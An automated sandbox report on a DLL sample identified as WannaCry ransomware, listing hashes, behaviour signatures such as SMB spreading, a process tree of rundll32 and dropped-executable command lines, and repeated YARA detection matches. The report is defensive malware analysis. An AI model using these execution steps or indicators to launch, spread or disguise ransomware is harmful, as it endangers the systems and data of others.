Edit tour

Windows Analysis Report
vGJZ7R5D9P

Overview

General Information

Sample Name:	vGJZ7R5D9P (renamed file extension from none to dll)
Analysis ID:	670045
MD5:	29df7460f98975b26e5832d4805355cf
SHA1:	f3fa6202017eb509f2155ae00aceaeb9a781bfe6
SHA256:	8a5cef05f5a3fca8d0fba55eecac9b1764c224fd61daf4b4b576c6ee41c988fe
Tags:	dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Wannacry ransomware

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for sample

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many different private IPs (likely to spread or exploit)

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Searches for user specific document files

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

File is packed with WinRar

Connects to several IPs in different countries

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Dropped file seen in connection with other malware

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7044 cmdline: loaddll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 7052 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7072 cmdline: rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 7112 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 1C1167A1D6490BC84697D2D3E8547F79)

tasksche.exe (PID: 5716 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 86DA3236875CBBC62DD722ADA7F81D89)

rundll32.exe (PID: 7060 cmdline: rundll32.exe C:\Users\user\Desktop\vGJZ7R5D9P.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7124 cmdline: rundll32.exe "C:\Users\user\Desktop\vGJZ7R5D9P.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 7136 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 1C1167A1D6490BC84697D2D3E8547F79)

tasksche.exe (PID: 1820 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 86DA3236875CBBC62DD722ADA7F81D89)

mssecsvr.exe (PID: 6420 cmdline: C:\WINDOWS\mssecsvr.exe -m security MD5: 1C1167A1D6490BC84697D2D3E8547F79)

svchost.exe (PID: 8124 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 8456 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7548 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 11780 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vGJZ7R5D9P.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x353d0:$x3: tasksche.exe 0x353a8:$x8: C:\%s\qeriuwjhrf 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x5449:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
vGJZ7R5D9P.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\mssecsvr.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
C:\Windows\mssecsvr.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvr.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000000.388267704.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000002.394764132.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.383175276.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.384584584.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.381498781.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.383152912.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.378931797.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000008.00000000.385776057.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.380491276.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.385957982.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 7112	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 7136	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 6420	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
8.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
8.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
